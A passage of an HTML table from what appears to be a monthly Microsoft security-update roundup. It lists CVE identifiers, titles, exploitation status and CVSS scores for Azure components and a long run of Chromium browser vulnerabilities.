Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33833">CVE-2026-33833</a></td><td><p>Azure Machine Learning Notebook Spoofing Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32204">CVE-2026-32204</a></td><td><p>Azure Monitor Agent Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42830">CVE-2026-42830</a></td><td><p>Azure Monitor Agent Metrics Extension Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33117">CVE-2026-33117</a></td><td><p>Azure SDK for Java Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41103">CVE-2026-41103</a></td><td><p>Microsoft SSO Plugin for Jira &amp; Confluence Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41086">CVE-2026-41086</a></td><td><p>Windows Admin Center in Azure Portal Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr></tbody></table><h3>Browser vulnerabilities</h3><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7898">CVE-2026-7898</a></td><td><p>Chromium: CVE-2026-7898 Use after free in Chromoting</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7899">CVE-2026-7899</a></td><td><p>Chromium: CVE-2026-7899 Out of bounds read and write in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7900">CVE-2026-7900</a></td><td><p>Chromium: CVE-2026-7900 Heap buffer overflow in ANGLE</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7901">CVE-2026-7901</a></td><td><p>Chromium: CVE-2026-7901 Use after free in ANGLE</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7902">CVE-2026-7902</a></td><td><p>Chromium: CVE-2026-7902 Out of bounds memory access in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7903">CVE-2026-7903</a></td><td><p>Chromium: CVE-2026-7903 Integer overflow in ANGLE</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7904">CVE-2026-7904</a></td><td><p>Chromium: CVE-2026-7904 Out of bounds read in Fonts</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7906">CVE-2026-7906</a></td><td><p>Chromium: CVE-2026-7906 Use after free in SVG</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7907">CVE-2026-7907</a></td><td><p>Chromium: CVE-2026-7907 Use after free in DOM</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7908">CVE-2026-7908</a></td><td><p>Chromium: CVE-2026-7908 Use after free in Fullscreen</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7909">CVE-2026-7909</a></td><td><p>Chromium: CVE-2026-7909 Inappropriate implementation in ServiceWorker</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7910">CVE-2026-7910</a></td><td><p>Chromium: CVE-2026-7910 Use after free in Views</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7911">CVE-2026-7911</a></td><td><p>Chromium: CVE-2026-7911 Use after free in Aura</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7914">CVE-2026-7914</a></td><td><p>Chromium: CVE-2026-7914 Type Confusion in Accessibility</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7916">CVE-2026-7916</a></td><td><p>Chromium: CVE-2026-7916 Insufficient data validation in InterestGroups</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7917">CVE-2026-7917</a></td><td><p>Chromium: CVE-2026-7917 Use after free in Fullscreen</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7918">CVE-2026-7918</a></td><td><p>Chromium: CVE-2026-7918 Use after free in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7919">CVE-2026-7919</a></td><td><p>Chromium: CVE-2026-7919 Use after free in Aura</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7920">CVE-2026-7920</a></td><td><p>Chromium: CVE-2026-7920 Use after free in Skia</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7921">CVE-2026-7921</a></td><td><p>Chromium: CVE-2026-7921 Use after free in Passwords</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7922">CVE-2026-7922</a></td><td><p>Chromium: CVE-2026-7922 Use after free in ServiceWorker</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7923">CVE-2026-7923</a></td><td><p>Chromium: CVE-2026-7923 Out of bounds write in Skia</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7924">CVE-2026-7924</a></td><td><p>Chromium: CVE-2026-7924 Uninitialized Use in Dawn</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7925">CVE-2026-7925</a></td><td><p>Chromium: CVE-2026-7925 Use after free in Chromoting</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7926">CVE-2026-7926</a></td><td><p>Chromium: CVE-2026-7926 Use after free in PresentationAPI</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7927">CVE-2026-7927</a></td><td><p>Chromium: CVE-2026-7927 Type Confusion in Runtime</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7928">CVE-2026-7928</a></td><td><p>Chromium: CVE-2026-7928 Use after free in WebRTC</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7929">CVE-2026-7929</a></td><td><p>Chromium: CVE-2026-7929 Use after free in MediaRecording</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7930">CVE-2026-7930</a></td><td><p>Chromium: CVE-2026-7930 Insufficient validation of untrusted input in Cookies</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7932">CVE-2026-7932</a></td><td><p>Chromium: CVE-2026-7932 Insufficient policy enforcement in Downloads</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7933">CVE-2026-7933</a></td><td><p>Chromium: CVE-2026-7933 Out of bounds read in WebCodecs</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7934">CVE-2026-7934</a></td><td><p>Chromium: CVE-2026-7934 Insufficient validation of untrusted input in Popup Blocker</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7935">CVE-2026-7935</a></td><td><p>Chromium: CVE-2026-7935 Inappropriate implementation in Speech</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7936">CVE-2026-7936</a></td><td><p>Chromium: CVE-2026-7936 Object lifecycle issue in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7937">CVE-2026-7937</a></td><td><p>Chromium: CVE-2026-7937 Insufficient policy enforcement in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7938">CVE-2026-7938</a></td><td><p>Chromium: CVE-2026-7938 Use after free in CSS</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7939">CVE-2026-7939</a></td><td><p>Chromium: CVE-2026-7939 Inappropriate implementation in SanitizerAPI</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7940">CVE-2026-7940</a></td><td><p>Chromium: CVE-2026-7940 Use after free in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7942">CVE-2026-7942</a></td><td><p>Chromium: CVE-2026-7942 Integer overflow in ANGLE</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7943">CVE-2026-7943</a></td><td><p>Chromium: CVE-2026-7943 Insufficient validation of untrusted input in ANGLE</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7944">CVE-2026-7944</a></td><td><p>Chromium: CVE-2026-7944 Insufficient validation of untrusted input in Persistent Cache</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7945">CVE-2026-7945</a></td><td><p>Chromium: CVE-2026-7945 Insufficient validation of untrusted input in COOP</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7946">CVE-2026-7946</a></td><td><p>Chromium: CVE-2026-7946 Insufficient policy enforcement in WebUI</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7947">CVE-2026-7947</a></td><td><p>Chromium: CVE-2026-7947 Insufficient validation of untrusted input in Network</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7948">CVE-2026-7948</a></td><td><p>Chromium: CVE-2026-7948 Race in Chromoting</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7949">CVE-2026-7949</a></td><td><p>Chromium: CVE-2026-7949 Out of bounds read in Skia</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7950">CVE-2026-7950</a></td><td><p>Chromium: CVE-2026-7950 Out of bounds read and write in GFX</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7951">CVE-2026-7951</a></td><td><p>Chromium: CVE-2026-7951 Out of bounds write in WebRTC</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7952">CVE-2026-7952</a></td><td><p>Chromium: CVE-2026-7952 Insufficient policy enforcement in Extensions</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7953">CVE-2026-7953</a></td><td><p>Chromium: CVE-2026-7953 Insufficient validation of untrusted input in Omnibox</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7954">CVE-2026-7954</a></td><td><p>Chromium: CVE-2026-7954 Race in Shared Storage</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7955">CVE-2026-7955</a></td><td><p>Chromium: CVE-2026-7955 Uninitialized Use in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7956">CVE-2026-7956</a></td><td><p>Chromium: CVE-2026-7956 Use after free in Navigation</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7957">CVE-2026-7957</a></td><td><p>Chromium: CVE-2026-7957 Out of bounds write in Media</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7958">CVE-2026-7958</a></td><td><p>Chromium: CVE-2026-7958 Inappropriate implementation in ServiceWorker</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7959">CVE-2026-7959</a></td><td><p>Chromium: CVE-2026-7959 Inappropriate implementation in Navigation</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7960">CVE-2026-7960</a></td><td><p>Chromium: CVE-2026-7960 Race in Speech</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7961">CVE-2026-7961</a></td><td><p>Chromium: CVE-2026-7961 Insufficient validation of untrusted input in Permissions</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7962">CVE-2026-7962</a></td><td><p>Chromium: CVE-2026-7962 Insufficient policy enforcement in DirectSockets</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7963">CVE-2026-7963</a></td><td><p>Chromium: CVE-2026-7963 Inappropriate implementation in ServiceWorker</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7964">CVE-2026-7964</a></td><td><p>Chromium: CVE-2026-7964 Insufficient validation of untrusted input in FileSystem</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7965">CVE-2026-7965</a></td><td><p>Chromium: CVE-2026-7965 Insufficient validation of untrusted input in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7966">CVE-2026-7966</a></td><td><p>Chromium: CVE-2026-7966 Insufficient validation of untrusted input in SiteIsolation</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7967">CVE-2026-7967</a></td><td><p>Chromium: CVE-2026-7967 Insufficient validation of untrusted input in Navigation</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7968">CVE-2026-7968</a></td><td><p>Chromium: CVE-2026-7968 Insufficient validation of untrusted input in CORS</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7969">CVE-2026-7969</a></td><td><p>Chromium: CVE-2026-7969 Integer overflow in Network</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7970">CVE-2026-7970</a></td><td><p>Chromium: CVE-2026-7970 Use after free in TopChrome</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7971">CVE-2026-7971</a></td><td><p>Chromium: CVE-2026-7971 Inappropriate implementation in ORB</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7972">CVE-2026-7972</a></td><td><p>Chromium: CVE-2026-7972 Uninitialized Use in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7973">CVE-2026-7973</a></td><td><p>Chromium: CVE-2026-7973 Integer overflow in Dawn</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7974">CVE-2026-7974</a></td><td><p>Chromium: CVE-2026-7974 Use after free in Blink</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7975">CVE-2026-7975</a></td><td><p>Chromium: CVE-2026-7975 Use after free in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7976">CVE-2026-7976</a></td><td><p>Chromium: CVE-2026-7976 Use after free in Views</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7977">CVE-2026-7977</a></td><td><p>Chromium: CVE-2026-7977 Inappropriate implementation in Canvas</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7978">CVE-2026-7978</a></td><td><p>Chromium: CVE-2026-7978 Inappropriate implementation in Companion</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7979">CVE-2026-7979</a></td><td><p>Chromium: CVE-2026-7979 Inappropriate implementation in Media</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7980">CVE-2026-7980</a></td><td><p>Chromium: CVE-2026-7980 Use after free in WebAudio</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7981">CVE-2026-7981</a></td><td><p>Chromium: CVE-2026-7981 Out of bounds read in Codecs</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7982">CVE-2026-7982</a></td><td><p>Chromium: CVE-2026-7982 Uninitialized Use in WebCodecs</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7983">CVE-2026-7983</a></td><td><p>Chromium: CVE-2026-7983 Out of bounds read in Dawn</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7984">CVE-2026-7984</a></td><td><p>Chromium: CVE-2026-7984 Use after free in ReadingMode</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7985">CVE-2026-7985</a></td><td><p>Chromium: CVE-2026-7985 Use after free in GPU</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7986">CVE-2026-7986</a></td><td><p>Chromium: CVE-2026-7986 Insufficient policy enforcement in Autofill</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7987">CVE-2026-7987</a></td><td><p>Chromium: CVE-2026-7987 Use after free in WebRTC</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7988">CVE-2026-7988</a></td><td><p>Chromium: CVE-2026-7988 Type Confusion in WebRTC</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7989">CVE-2026-7989</a></td><td><p>Chromium: CVE-2026-7989 Insufficient data validation in DataTransfer</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7990">CVE-2026-7990</a></td><td><p>Chromium: CVE-2026-7990 Insufficient validation of untrusted input in Updater</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7991">CVE-2026-7991</a></td><td><p>Chromium: CVE-2026-7991 Use after free in UI</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7992">CVE-2026-7992</a></td><td><p>Chromium: CVE-2026-7992 Insufficient validation of untrusted input in UI</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7994">CVE-2026-7994</a></td><td><p>Chromium: CVE-2026-7994 Inappropriate implementation in Chromoting</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7995">CVE-2026-7995</a></td><td><p>Chromium: CVE-2026-7995 Out of bounds read in AdFilter</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7996">CVE-2026-7996</a></td><td><p>Chromium: CVE-2026-7996 Insufficient validation of untrusted input in SSL</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7997">CVE-2026-7997</a></td><td><p>Chromium: CVE-2026-7997 Insufficient validation of untrusted input in Updater</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7998">CVE-2026-7998</a></td><td><p>Chromium: CVE-2026-7998 Insufficient validation of untrusted input in Dialog</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-7999">CVE-2026-7999</a></td><td><p>Chromium: CVE-2026-7999 Inappropriate implementation in V8</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8000">CVE-2026-8000</a></td><td><p>Chromium: CVE-2026-8000 Insufficient validation of untrusted input in ChromeDriver</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8001">CVE-2026-8001</a></td><td><p>Chromium: CVE-2026-8001 Use after free in Printing</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8002">CVE-2026-8002</a></td><td><p>Chromium: CVE-2026-8002 Use after free in Audio</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8003">CVE-2026-8003</a></td><td><p>Chromium: CVE-2026-8003 Insufficient validation of untrusted input in TabGroups</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8004">CVE-2026-8004</a></td><td><p>Chromium: CVE-2026-8004 Insufficient policy enforcement in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8005">CVE-2026-8005</a></td><td><p>Chromium: CVE-2026-8005 Insufficient validation of untrusted input in Cast</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8006">CVE-2026-8006</a></td><td><p>Chromium: CVE-2026-8006 Insufficient policy enforcement in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8007">CVE-2026-8007</a></td><td><p>Chromium: CVE-2026-8007 Insufficient validation of untrusted input in Cast</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8008">CVE-2026-8008</a></td><td><p>Chromium: CVE-2026-8008 Inappropriate implementation in DevTools</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8009">CVE-2026-8009</a></td><td><p>Chromium: CVE-2026-8009 Inappropriate implementation in Cast</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8010">CVE-2026-8010</a></td><td><p>Chromium: CVE-2026-8010 Insufficient validation of untrusted input in SiteIsolation</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8011">CVE-2026-8011</a></td><td><p>Chromium: CVE-2026-8011 Insufficient policy enforcement in Search</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8012">CVE-2026-8012</a></td><td><p>Chromium: CVE-2026-8012 Inappropriate implementation in MHTML</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-8013">CVE-2026-8013</a></td><td><p>Chromium: CVE-2026-8013 Insufficient validation of untrusted input in FedCM</p></td><td><p>n/a</p></td><td><p>No</p></td><td><p></p></td></tr><tr><td><a 